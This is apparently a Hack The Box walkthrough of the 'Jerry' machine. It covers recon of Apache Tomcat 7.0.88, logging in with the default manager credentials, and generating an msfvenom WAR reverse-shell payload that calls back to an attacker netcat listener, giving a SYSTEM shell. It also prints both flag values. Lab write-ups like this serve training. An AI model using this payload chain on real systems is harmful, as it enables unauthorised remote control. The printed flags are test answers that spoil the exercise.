



Jerry HTB

Name	Jerry
Description	Jerry is an easy-difficulty Windows machine that showcases how to exploit Apache Tomcat, leading to an <code>NT Authority\SYSTEM</code> shell, thus fully compromising the target.
Difficulty	Easy
Room	https://app.hackthebox.com/machines/Jerry?sort_by=created_at&sort_type=desc
Host	10.129.136.9

Reconnaissance

Nmap Scan

```
sudo nmap -T4 -sS -sV -sC -v -Pn -A 10.129.136.9
```

Results:

Port	Service	Version	Notes
8080	Apache Tomcat/Coyote JSP engine	1.1	From title its hosting Apache Tomcat/7.0.88 and that s the only open ports

```

PORT      STATE SERVICE VERSION
8080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache-Coyote/1.1
|_ http-favicon: Apache Tomcat
|_ http-title: Apache Tomcat/7.0.88
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2008|7 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (97%), Microsoft Windows 7 or Windows Server 2008 R2 (91%),
Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.002 days (since Sat May 16 18:16:37 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental

```

Web Enumeration

whatweb http://10.129.136.9:8080

```

(root@kali)~# whatweb http://10.129.136.9:8080
http://10.129.136.9:8080 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache-Coyote/1.1], IP[10.129.136.9], Title[Apache Tomcat/7.0.88]

```

Findings:

- Apache Tomcat/7.0.88 default page
- Login portal /manager/html (From documentation)
- Default credential after failed login attempt

403 Access Denied

You are not authorized to view this page.

If you have already configured the Manager application to allow access and you have used your browser's back button, used a saved book-mark or similar then you may have triggered the cross-site request forgery (CSRF) protection that has been enabled for the HTML interface of the Manager application. You will need to reset this protection by returning to the [main Manager page](#). Once you return to this page, you will be able to continue using the Manager application's HTML interface normally. If you continue to see this access denied message, check that you have the necessary permissions to access this application.

If you have not changed any configuration files, please examine the file `conf/tomcat-users.xml` in your installation. That file must contain the credentials to let you use this webapp.

For example, to add the `manager-gui` role to a user named `tomcat` with a password of `s3cret`, add the following to the config file listed above.

```
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
```

Note that for Tomcat 7 onwards, the roles required to use the manager application were changed from the single `manager` role to the following four roles. You will need to assign the role(s) required for the functionality you wish to access.

- `manager-gui` - allows access to the HTML GUI and the status pages
- `manager-script` - allows access to the text interface and the status pages
- `manager-jmx` - allows access to the JMX proxy and the status pages
- `manager-status` - allows access to the status pages only

The HTML interface is protected against CSRF but the text and JMX interfaces are not. To maintain the CSRF protection:

- Users with the `manager-gui` role should not be granted either the `manager-script` or `manager-jmx` roles.
- If the text or jmx interfaces are accessed through a browser (e.g. for testing since these interfaces are intended for tools not humans) then the browser must be closed afterwards to terminate the session.

For more information - please see the [Manager App HOW-TO](#)

Credentials Discovered

Type	Value	Found At
Default	tomcat:s3cret	Failed login page /manager/html

Exploitation

Field	Value
Vulnerability Type	Security Misconfiguration
CVE	n/a
Type	Authenticated RCE
Source	Manual - Msfvenom
Target	Service:8080

The website allows upload of .war files to create new webpage. Using `msfvenom` to create a .war payload is the best exploitation approach to exploit the machine.

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.58 LP
ORT=1997 -f war > jerry.war
```

Proof of concept:

Create a netcat Listener on port 1997

```
nc -nvlp 1997
```

Upload the jerry.war file to the website and navigate to the new page /jerry

Initial foothold

```
(root@kali)-[~/HTB/Jerry]
# nc -nvlp 1997
listening on [any] 1997 ...
connect to [10.10.15.58] from (UNKNOWN) [10.129.136.9] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>
```

Post-Exploitation

```
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

C:\apache-tomcat-7.0.88>
```

Current user: **nt authority\system**

Current directory: C:\apache-tomcat-7.0.88

Flags

```
C:\apache-tomcat-7.0.88>dir "C:\Users\Administrator\Desktop"
dir "C:\Users\Administrator\Desktop"
Volume in drive C has no label.
Volume Serial Number is 0834-6C04

Directory of C:\Users\Administrator\Desktop

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:09 AM    <DIR>          flags
               0 File(s)                0 bytes
               3 Dir(s)      2,419,064,832 bytes free

C:\apache-tomcat-7.0.88>dir "C:\Users\Administrator\Desktop\flags"
dir "C:\Users\Administrator\Desktop\flags"
Volume in drive C has no label.
Volume Serial Number is 0834-6C04

Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:11 AM                88 2 for the price of 1.txt
               1 File(s)                88 bytes
               2 Dir(s)      2,419,064,832 bytes free

C:\apache-tomcat-7.0.88>more "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"
more "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e

C:\apache-tomcat-7.0.88>
```

User Flag

Flag: **7004dbcef0f854e0fb401875f26ebd00**

Root Flag

Flag: **04a8b36e1545a455393d067e772fe90e**

Privilege Escalation

No privilege escalation is required Tomcat is running as **NT AUTHORITY\SYSTEM**

Tools Used

Tool	Purpose
Nmap	Port scanning
Whatweb	Web technology fingerprinting
Msfvenom	Generate WAR reverse shell payload

Tool	Purpose
nc	Catch reverse shell

Lessons Learned

1. **Default credentials are a critical risk**, `tomcat:s3cret` grants full manager access.
2. **Tomcat service accounts** should never run as SYSTEM. Always run as a low-privileged user.
3. **WAR deployment** is an easy RCE vector if the manager interface is exposed and poorly configured.

References

- **Tomcat Manager App Guide** - Official guide to the HTML interface

Completed on: 12 May 2026 | Time spent: 20 minutes

Final thoughts: *The simplest vulnerabilities are often the most dangerous, not because they're hard to find, but because they're so easily overlooked.*